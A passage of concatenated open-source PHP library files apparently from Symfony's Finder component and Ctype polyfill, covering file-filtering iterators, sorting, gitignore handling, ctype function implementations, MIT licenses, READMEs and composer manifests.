{ if (false === $filter($fileinfo)) { return false; } } return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Comparator\DateComparator; /** * DateRangeFilterIterator filters out files that are not in the given date range (last modified dates). * * @author Fabien Potencier * * @extends \FilterIterator */ class DateRangeFilterIterator extends \FilterIterator { private array $comparators = []; /** * @param \Iterator $iterator * @param DateComparator[] $comparators */ public function __construct(\Iterator $iterator, array $comparators) { $this->comparators = $comparators; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); if (!file_exists($fileinfo->getPathname())) { return false; } $filedate = $fileinfo->getMTime(); foreach ($this->comparators as $compare) { if (!$compare->test($filedate)) { return false; } } return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * DepthRangeFilterIterator limits the directory depth. * * @author Fabien Potencier * * @template-covariant TKey * @template-covariant TValue * * @extends \FilterIterator */ class DepthRangeFilterIterator extends \FilterIterator { private int $minDepth = 0; /** * @param \RecursiveIteratorIterator<\RecursiveIterator> $iterator The Iterator to filter * @param int $minDepth The min depth * @param int $maxDepth The max depth */ public function __construct(\RecursiveIteratorIterator $iterator, int $minDepth = 0, int $maxDepth = \PHP_INT_MAX) { $this->minDepth = $minDepth; $iterator->setMaxDepth(\PHP_INT_MAX === $maxDepth ? -1 : $maxDepth); parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { return $this->getInnerIterator()->getDepth() >= $this->minDepth; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\SplFileInfo; /** * ExcludeDirectoryFilterIterator filters out directories. * * @author Fabien Potencier * * @extends \FilterIterator * * @implements \RecursiveIterator */ class ExcludeDirectoryFilterIterator extends \FilterIterator implements \RecursiveIterator { /** @var \Iterator */ private \Iterator $iterator; private bool $isRecursive; /** @var array */ private array $excludedDirs = []; private ?string $excludedPattern = null; /** @var list */ private array $pruneFilters = []; /** * @param \Iterator $iterator The Iterator to filter * @param list $directories An array of directories to exclude */ public function __construct(\Iterator $iterator, array $directories) { $this->iterator = $iterator; $this->isRecursive = $iterator instanceof \RecursiveIterator; $patterns = []; foreach ($directories as $directory) { if (!\is_string($directory)) { if (!\is_callable($directory)) { throw new \InvalidArgumentException('Invalid PHP callback.'); } $this->pruneFilters[] = $directory; continue; } $directory = rtrim($directory, '/'); if (!$this->isRecursive || str_contains($directory, '/')) { $patterns[] = preg_quote($directory, '#'); } else { $this->excludedDirs[$directory] = true; } } if ($patterns) { $this->excludedPattern = '#(?:^|/)(?:'.implode('|', $patterns).')(?:/|$)#'; } parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { if ($this->isRecursive && isset($this->excludedDirs[$this->getFilename()]) && $this->isDir()) { return false; } if ($this->excludedPattern) { $path = $this->isDir() ? $this->current()->getRelativePathname() : $this->current()->getRelativePath(); $path = str_replace('\\', '/', $path); return !preg_match($this->excludedPattern, $path); } if ($this->pruneFilters && $this->hasChildren()) { foreach ($this->pruneFilters as $pruneFilter) { if (!$pruneFilter($this->current())) { return false; } } } return true; } public function hasChildren(): bool { return $this->isRecursive && $this->iterator->hasChildren(); } public function getChildren(): self { $children = new self($this->iterator->getChildren(), []); $children->excludedDirs = $this->excludedDirs; $children->excludedPattern = $this->excludedPattern; return $children; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * FileTypeFilterIterator only keeps files, directories, or both. * * @author Fabien Potencier * * @extends \FilterIterator */ class FileTypeFilterIterator extends \FilterIterator { public const ONLY_FILES = 1; public const ONLY_DIRECTORIES = 2; private int $mode; /** * @param \Iterator $iterator The Iterator to filter * @param int $mode The mode (self::ONLY_FILES or self::ONLY_DIRECTORIES) */ public function __construct(\Iterator $iterator, int $mode) { $this->mode = $mode; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); if (self::ONLY_DIRECTORIES === (self::ONLY_DIRECTORIES & $this->mode) && $fileinfo->isFile()) { return false; } elseif (self::ONLY_FILES === (self::ONLY_FILES & $this->mode) && $fileinfo->isDir()) { return false; } return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\SplFileInfo; /** * FilecontentFilterIterator filters files by their contents using patterns (regexps or strings). * * @author Fabien Potencier * @author Włodzimierz Gajda * * @extends MultiplePcreFilterIterator */ class FilecontentFilterIterator extends MultiplePcreFilterIterator { /** * Filters the iterator values. */ public function accept(): bool { if (!$this->matchRegexps && !$this->noMatchRegexps) { return true; } $fileinfo = $this->current(); if ($fileinfo->isDir() || !$fileinfo->isReadable()) { return false; } $content = $fileinfo->getContents(); if (!$content) { return false; } return $this->isAccepted($content); } /** * Converts string to regexp if necessary. * * @param string $str Pattern: string or regexp */ protected function toRegex(string $str): string { return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Glob; /** * FilenameFilterIterator filters files by patterns (a regexp, a glob, or a string). * * @author Fabien Potencier * * @extends MultiplePcreFilterIterator */ class FilenameFilterIterator extends MultiplePcreFilterIterator { /** * Filters the iterator values. */ public function accept(): bool { return $this->isAccepted($this->current()->getFilename()); } /** * Converts glob to regexp. * * PCRE patterns are left unchanged. * Glob strings are transformed with Glob::toRegex(). * * @param string $str Pattern: glob or regexp */ protected function toRegex(string $str): string { return $this->isRegex($str) ? $str : Glob::toRegex($str); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * @author Jérémy Derussé * * @internal */ class LazyIterator implements \IteratorAggregate { private \Closure $iteratorFactory; public function __construct(callable $iteratorFactory) { $this->iteratorFactory = $iteratorFactory(...); } public function getIterator(): \Traversable { yield from ($this->iteratorFactory)(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * MultiplePcreFilterIterator filters files using patterns (regexps, globs or strings). * * @author Fabien Potencier * * @template-covariant TKey * @template-covariant TValue * * @extends \FilterIterator */ abstract class MultiplePcreFilterIterator extends \FilterIterator { protected $matchRegexps = []; protected $noMatchRegexps = []; /** * @param \Iterator $iterator The Iterator to filter * @param string[] $matchPatterns An array of patterns that need to match * @param string[] $noMatchPatterns An array of patterns that need to not match */ public function __construct(\Iterator $iterator, array $matchPatterns, array $noMatchPatterns) { foreach ($matchPatterns as $pattern) { $this->matchRegexps[] = $this->toRegex($pattern); } foreach ($noMatchPatterns as $pattern) { $this->noMatchRegexps[] = $this->toRegex($pattern); } parent::__construct($iterator); } /** * Checks whether the string is accepted by the regex filters. * * If there is no regexps defined in the class, this method will accept the string. * Such case can be handled by child classes before calling the method if they want to * apply a different behavior. */ protected function isAccepted(string $string): bool { // should at least not match one rule to exclude foreach ($this->noMatchRegexps as $regex) { if (preg_match($regex, $string)) { return false; } } // should at least match one rule if ($this->matchRegexps) { foreach ($this->matchRegexps as $regex) { if (preg_match($regex, $string)) { return true; } } return false; } // If there is no match rules, the file is accepted return true; } /** * Checks whether the string is a regex. */ protected function isRegex(string $str): bool { $availableModifiers = 'imsxuADU'; if (\PHP_VERSION_ID >= 80200) { $availableModifiers .= 'n'; } if (preg_match('/^(.{3,}?)['.$availableModifiers.']*$/', $str, $m)) { $start = substr($m[1], 0, 1); $end = substr($m[1], -1); if ($start === $end) { return !preg_match('/[*?[:alnum:] \\\\]/', $start); } foreach ([['{', '}'], ['(', ')'], ['[', ']'], ['<', '>']] as $delimiters) { if ($start === $delimiters[0] && $end === $delimiters[1]) { return true; } } } return false; } /** * Converts string into regexp. */ abstract protected function toRegex(string $str): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\SplFileInfo; /** * PathFilterIterator filters files by path patterns (e.g. some/special/dir). * * @author Fabien Potencier * @author Włodzimierz Gajda * * @extends MultiplePcreFilterIterator */ class PathFilterIterator extends MultiplePcreFilterIterator { /** * Filters the iterator values. */ public function accept(): bool { $filename = $this->current()->getRelativePathname(); if ('\\' === \DIRECTORY_SEPARATOR) { $filename = str_replace('\\', '/', $filename); } return $this->isAccepted($filename); } /** * Converts strings to regexp. * * PCRE patterns are left unchanged. * * Default conversion: * 'lorem/ipsum/dolor' ==> 'lorem\/ipsum\/dolor/' * * Use only / as directory separator (on Windows also). * * @param string $str Pattern: regexp or dirname */ protected function toRegex(string $str): string { return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Exception\AccessDeniedException; use Symfony\Component\Finder\SplFileInfo; /** * Extends the \RecursiveDirectoryIterator to support relative paths. * * @author Victor Berchet * * @extends \RecursiveDirectoryIterator */ class RecursiveDirectoryIterator extends \RecursiveDirectoryIterator { private bool $ignoreUnreadableDirs; private bool $ignoreFirstRewind = true; // these 3 properties take part of the performance optimization to avoid redoing the same work in all iterations private string $rootPath; private string $subPath; private string $directorySeparator = '/'; /** * @throws \RuntimeException */ public function __construct(string $path, int $flags, bool $ignoreUnreadableDirs = false) { if ($flags & (self::CURRENT_AS_PATHNAME | self::CURRENT_AS_SELF)) { throw new \RuntimeException('This iterator only support returning current as fileinfo.'); } parent::__construct($path, $flags); $this->ignoreUnreadableDirs = $ignoreUnreadableDirs; $this->rootPath = $path; if ('/' !== \DIRECTORY_SEPARATOR && !($flags & self::UNIX_PATHS)) { $this->directorySeparator = \DIRECTORY_SEPARATOR; } } /** * Return an instance of SplFileInfo with support for relative paths. */ public function current(): SplFileInfo { // the logic here avoids redoing the same work in all iterations if (!isset($this->subPath)) { $this->subPath = $this->getSubPath(); } $subPathname = $this->subPath; if ('' !== $subPathname) { $subPathname .= $this->directorySeparator; } $subPathname .= $this->getFilename(); $basePath = $this->rootPath; if ('/' !== $basePath && !str_ends_with($basePath, $this->directorySeparator) && !str_ends_with($basePath, '/')) { $basePath .= $this->directorySeparator; } return new SplFileInfo($basePath.$subPathname, $this->subPath, $subPathname); } public function hasChildren(bool $allowLinks = false): bool { $hasChildren = parent::hasChildren($allowLinks); if (!$hasChildren || !$this->ignoreUnreadableDirs) { return $hasChildren; } try { parent::getChildren(); return true; } catch (\UnexpectedValueException) { // If directory is unreadable and finder is set to ignore it, skip children return false; } } /** * @throws AccessDeniedException */ public function getChildren(): \RecursiveDirectoryIterator { try { $children = parent::getChildren(); if ($children instanceof self) { // parent method will call the constructor with default arguments, so unreadable dirs won't be ignored anymore $children->ignoreUnreadableDirs = $this->ignoreUnreadableDirs; // performance optimization to avoid redoing the same work in all children $children->rootPath = $this->rootPath; } return $children; } catch (\UnexpectedValueException $e) { throw new AccessDeniedException($e->getMessage(), $e->getCode(), $e); } } public function next(): void { $this->ignoreFirstRewind = false; parent::next(); } public function rewind(): void { // some streams like FTP are not rewindable, ignore the first rewind after creation, // as newly created DirectoryIterator does not need to be rewound if ($this->ignoreFirstRewind) { $this->ignoreFirstRewind = false; return; } parent::rewind(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Comparator\NumberComparator; /** * SizeRangeFilterIterator filters out files that are not in the given size range. * * @author Fabien Potencier * * @extends \FilterIterator */ class SizeRangeFilterIterator extends \FilterIterator { private array $comparators = []; /** * @param \Iterator $iterator * @param NumberComparator[] $comparators */ public function __construct(\Iterator $iterator, array $comparators) { $this->comparators = $comparators; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); if (!$fileinfo->isFile()) { return true; } $filesize = $fileinfo->getSize(); foreach ($this->comparators as $compare) { if (!$compare->test($filesize)) { return false; } } return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * SortableIterator applies a sort on a given Iterator. * * @author Fabien Potencier * * @implements \IteratorAggregate */ class SortableIterator implements \IteratorAggregate { public const SORT_BY_NONE = 0; public const SORT_BY_NAME = 1; public const SORT_BY_TYPE = 2; public const SORT_BY_ACCESSED_TIME = 3; public const SORT_BY_CHANGED_TIME = 4; public const SORT_BY_MODIFIED_TIME = 5; public const SORT_BY_NAME_NATURAL = 6; public const SORT_BY_NAME_CASE_INSENSITIVE = 7; public const SORT_BY_NAME_NATURAL_CASE_INSENSITIVE = 8; public const SORT_BY_EXTENSION = 9; public const SORT_BY_SIZE = 10; /** @var \Traversable */ private \Traversable $iterator; private \Closure|int $sort; /** * @param \Traversable $iterator * @param int|callable $sort The sort type (SORT_BY_NAME, SORT_BY_TYPE, or a PHP callback) * * @throws \InvalidArgumentException */ public function __construct(\Traversable $iterator, int|callable $sort, bool $reverseOrder = false) { $this->iterator = $iterator; $order = $reverseOrder ? -1 : 1; if (self::SORT_BY_NAME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_NAME_NATURAL === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strnatcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_NAME_CASE_INSENSITIVE === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strcasecmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_NAME_NATURAL_CASE_INSENSITIVE === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strnatcasecmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_TYPE === $sort) { $this->sort = static function (\SplFileInfo $a, \SplFileInfo $b) use ($order) { if ($a->isDir() && $b->isFile()) { return -$order; } elseif ($a->isFile() && $b->isDir()) { return $order; } return $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); }; } elseif (self::SORT_BY_ACCESSED_TIME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getATime() - $b->getATime()); } elseif (self::SORT_BY_CHANGED_TIME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getCTime() - $b->getCTime()); } elseif (self::SORT_BY_MODIFIED_TIME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getMTime() - $b->getMTime()); } elseif (self::SORT_BY_EXTENSION === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strnatcmp($a->getExtension(), $b->getExtension()); } elseif (self::SORT_BY_SIZE === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getSize() - $b->getSize()); } elseif (self::SORT_BY_NONE === $sort) { $this->sort = $order; } elseif (\is_callable($sort)) { $this->sort = $reverseOrder ? static fn (\SplFileInfo $a, \SplFileInfo $b) => -$sort($a, $b) : $sort(...); } else { throw new \InvalidArgumentException('The SortableIterator takes a PHP callable or a valid built-in sort algorithm as an argument.'); } } public function getIterator(): \Traversable { if (1 === $this->sort) { return $this->iterator; } $array = iterator_to_array($this->iterator, true); if (-1 === $this->sort) { $array = array_reverse($array); } else { uasort($array, $this->sort); } return new \ArrayIterator($array); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Gitignore; /** * @extends \FilterIterator */ final class VcsIgnoredFilterIterator extends \FilterIterator { private string $baseDir; /** * @var array */ private array $gitignoreFilesCache = []; /** * @var array */ private array $ignoredPathsCache = []; /** * @param \Iterator $iterator */ public function __construct(\Iterator $iterator, string $baseDir) { $this->baseDir = $this->normalizePath($baseDir); foreach ([$this->baseDir, ...$this->parentDirectoriesUpwards($this->baseDir)] as $directory) { if (@is_dir("{$directory}/.git")) { $this->baseDir = $directory; break; } } parent::__construct($iterator); } public function accept(): bool { $file = $this->current(); $fileRealPath = $this->normalizePath($file->getRealPath()); return !$this->isIgnored($fileRealPath); } private function isIgnored(string $fileRealPath): bool { if (is_dir($fileRealPath) && !str_ends_with($fileRealPath, '/')) { $fileRealPath .= '/'; } if (isset($this->ignoredPathsCache[$fileRealPath])) { return $this->ignoredPathsCache[$fileRealPath]; } $ignored = false; foreach ($this->parentDirectoriesDownwards($fileRealPath) as $parentDirectory) { if ($this->isIgnored($parentDirectory)) { // rules in ignored directories are ignored, no need to check further. break; } $fileRelativePath = substr($fileRealPath, \strlen($parentDirectory) + 1); if (null === $regexps = $this->readGitignoreFile("{$parentDirectory}/.gitignore")) { continue; } [$exclusionRegex, $inclusionRegex] = $regexps; if (preg_match($exclusionRegex, $fileRelativePath)) { $ignored = true; continue; } if (preg_match($inclusionRegex, $fileRelativePath)) { $ignored = false; } } return $this->ignoredPathsCache[$fileRealPath] = $ignored; } /** * @return list */ private function parentDirectoriesUpwards(string $from): array { $parentDirectories = []; $parentDirectory = $from; while (true) { $newParentDirectory = \dirname($parentDirectory); // dirname('/') = '/' if ($newParentDirectory === $parentDirectory) { break; } $parentDirectories[] = $parentDirectory = $newParentDirectory; } return $parentDirectories; } private function parentDirectoriesUpTo(string $from, string $upTo): array { return array_filter( $this->parentDirectoriesUpwards($from), static fn (string $directory): bool => str_starts_with($directory, $upTo) ); } /** * @return list */ private function parentDirectoriesDownwards(string $fileRealPath): array { return array_reverse( $this->parentDirectoriesUpTo($fileRealPath, $this->baseDir) ); } /** * @return array{0: string, 1: string}|null */ private function readGitignoreFile(string $path): ?array { if (\array_key_exists($path, $this->gitignoreFilesCache)) { return $this->gitignoreFilesCache[$path]; } if (!file_exists($path)) { return $this->gitignoreFilesCache[$path] = null; } if (!is_file($path) || !is_readable($path)) { throw new \RuntimeException("The \"ignoreVCSIgnored\" option cannot be used by the Finder as the \"{$path}\" file is not readable."); } $gitignoreFileContent = file_get_contents($path); return $this->gitignoreFilesCache[$path] = [ Gitignore::toRegex($gitignoreFileContent), Gitignore::toRegexMatchingNegatedPatterns($gitignoreFileContent), ]; } private function normalizePath(string $path): string { if ('\\' === \DIRECTORY_SEPARATOR) { return str_replace('\\', '/', $path); } return $path; } } Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Finder Component ================ The Finder component finds files and directories via an intuitive fluent interface. Resources --------- * [Documentation](https://symfony.com/doc/current/components/finder.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Extends \SplFileInfo to support relative paths. * * @author Fabien Potencier */ class SplFileInfo extends \SplFileInfo { private string $relativePath; private string $relativePathname; /** * @param string $file The file name * @param string $relativePath The relative path * @param string $relativePathname The relative path name */ public function __construct(string $file, string $relativePath, string $relativePathname) { parent::__construct($file); $this->relativePath = $relativePath; $this->relativePathname = $relativePathname; } /** * Returns the relative path. * * This path does not contain the file name. */ public function getRelativePath(): string { return $this->relativePath; } /** * Returns the relative path name. * * This path contains the file name. */ public function getRelativePathname(): string { return $this->relativePathname; } public function getFilenameWithoutExtension(): string { $filename = $this->getFilename(); return pathinfo($filename, \PATHINFO_FILENAME); } /** * Returns the contents of the file. * * @throws \RuntimeException */ public function getContents(): string { set_error_handler(function ($type, $msg) use (&$error) { $error = $msg; }); try { $content = file_get_contents($this->getPathname()); } finally { restore_error_handler(); } if (false === $content) { throw new \RuntimeException($error); } return $content; } } { "name": "symfony/finder", "type": "library", "description": "Finds files and directories via an intuitive fluent interface", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1" }, "require-dev": { "symfony/filesystem": "^6.0|^7.0" }, "autoload": { "psr-4": { "Symfony\\Component\\Finder\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Ctype; /** * Ctype implementation through regex. * * @internal * * @author Gert de Pagter */ final class Ctype { /** * Returns TRUE if every character in text is either a letter or a digit, FALSE otherwise. * * @see https://php.net/ctype-alnum * * @param mixed $text * * @return bool */ public static function ctype_alnum($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z0-9]/', $text); } /** * Returns TRUE if every character in text is a letter, FALSE otherwise. * * @see https://php.net/ctype-alpha * * @param mixed $text * * @return bool */ public static function ctype_alpha($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z]/', $text); } /** * Returns TRUE if every character in text is a control character from the current locale, FALSE otherwise. * * @see https://php.net/ctype-cntrl * * @param mixed $text * * @return bool */ public static function ctype_cntrl($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^\x00-\x1f\x7f]/', $text); } /** * Returns TRUE if every character in the string text is a decimal digit, FALSE otherwise. * * @see https://php.net/ctype-digit * * @param mixed $text * * @return bool */ public static function ctype_digit($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^0-9]/', $text); } /** * Returns TRUE if every character in text is printable and actually creates visible output (no white space), FALSE otherwise. * * @see https://php.net/ctype-graph * * @param mixed $text * * @return bool */ public static function ctype_graph($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^!-~]/', $text); } /** * Returns TRUE if every character in text is a lowercase letter. * * @see https://php.net/ctype-lower * * @param mixed $text * * @return bool */ public static function ctype_lower($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^a-z]/', $text); } /** * Returns TRUE if every character in text will actually create output (including blanks). Returns FALSE if text contains control characters or characters that do not have any output or control function at all. * * @see https://php.net/ctype-print * * @param mixed $text * * @return bool */ public static function ctype_print($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^ -~]/', $text); } /** * Returns TRUE if every character in text is printable, but neither letter, digit or blank, FALSE otherwise. * * @see https://php.net/ctype-punct * * @param mixed $text * * @return bool */ public static function ctype_punct($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^!-\/\:-@\[-`\{-~]/', $text); } /** * Returns TRUE if every character in text creates some sort of white space, FALSE otherwise. Besides the blank character this also includes tab, vertical tab, line feed, carriage return and form feed characters. * * @see https://php.net/ctype-space * * @param mixed $text * * @return bool */ public static function ctype_space($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^\s]/', $text); } /** * Returns TRUE if every character in text is an uppercase letter. * * @see https://php.net/ctype-upper * * @param mixed $text * * @return bool */ public static function ctype_upper($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Z]/', $text); } /** * Returns TRUE if every character in text is a hexadecimal 'digit', that is a decimal digit or a character from [A-Fa-f] , FALSE otherwise. * * @see https://php.net/ctype-xdigit * * @param mixed $text * * @return bool */ public static function ctype_xdigit($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Fa-f0-9]/', $text); } /** * Converts integers to their char versions according to normal ctype behaviour, if needed. * * If an integer between -128 and 255 inclusive is provided, * it is interpreted as the ASCII value of a single character * (negative values have 256 added in order to allow characters in the Extended ASCII range). * Any other integer is interpreted as a string containing the decimal digits of the integer. * * @param mixed $int * @param string $function * * @return mixed */ private static function convert_int_to_char_for_ctype($int, $function) { if (!\is_int($int)) { return $int; } if ($int < -128 || $int > 255) { return (string) $int; } if (\PHP_VERSION_ID >= 80100) { @trigger_error($function.'(): Argument of type int will be interpreted as string in the future', \E_USER_DEPRECATED); } if ($int < 0) { $int += 256; } return \chr($int); } } Copyright (c) 2018-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Symfony Polyfill / Ctype ======================== This component provides `ctype_*` functions to users who run php versions without the ctype extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('ctype_alnum')) { function ctype_alnum($text) { return p\Ctype::ctype_alnum($text); } } if (!function_exists('ctype_alpha')) { function ctype_alpha($text) { return p\Ctype::ctype_alpha($text); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl($text) { return p\Ctype::ctype_cntrl($text); } } if (!function_exists('ctype_digit')) { function ctype_digit($text) { return p\Ctype::ctype_digit($text); } } if (!function_exists('ctype_graph')) { function ctype_graph($text) { return p\Ctype::ctype_graph($text); } } if (!function_exists('ctype_lower')) { function ctype_lower($text) { return p\Ctype::ctype_lower($text); } } if (!function_exists('ctype_print')) { function ctype_print($text) { return p\Ctype::ctype_print($text); } } if (!function_exists('ctype_punct')) { function ctype_punct($text) { return p\Ctype::ctype_punct($text); } } if (!function_exists('ctype_space')) { function ctype_space($text) { return p\Ctype::ctype_space($text); } } if (!function_exists('ctype_upper')) { function ctype_upper($text) { return p\Ctype::ctype_upper($text); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit($text) { return p\Ctype::ctype_xdigit($text); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (!function_exists('ctype_alnum')) { function ctype_alnum(mixed $text): bool { return p\Ctype::ctype_alnum($text); } } if (!function_exists('ctype_alpha')) { function ctype_alpha(mixed $text): bool { return p\Ctype::ctype_alpha($text); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl(mixed $text): bool { return p\Ctype::ctype_cntrl($text); } } if (!function_exists('ctype_digit')) { function ctype_digit(mixed $text): bool { return p\Ctype::ctype_digit($text); } } if (!function_exists('ctype_graph')) { function ctype_graph(mixed $text): bool { return p\Ctype::ctype_graph($text); } } if (!function_exists('ctype_lower')) { function ctype_lower(mixed $text): bool { return p\Ctype::ctype_lower($text); } } if (!function_exists('ctype_print')) { function ctype_print(mixed $text): bool { return p\Ctype::ctype_print($text); } } if (!function_exists('ctype_punct')) { function ctype_punct(mixed $text): bool { return p\Ctype::ctype_punct($text); } } if (!function_exists('ctype_space')) { function ctype_space(mixed $text): bool { return p\Ctype::ctype_space($text); } } if (!function_exists('ctype_upper')) { function ctype_upper(mixed $text): bool { return p\Ctype::ctype_upper($text); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit(mixed $text): bool { return p\Ctype::ctype_xdigit($text); } } { "name": "symfony/polyfill-ctype", "type": "library", "description": "Symfony polyfill for ctype functions", "keywords": ["polyfill", "compatibility", "portable", "ctype"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Gert de Pagter", "email": "BackEndTea@gmail.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { 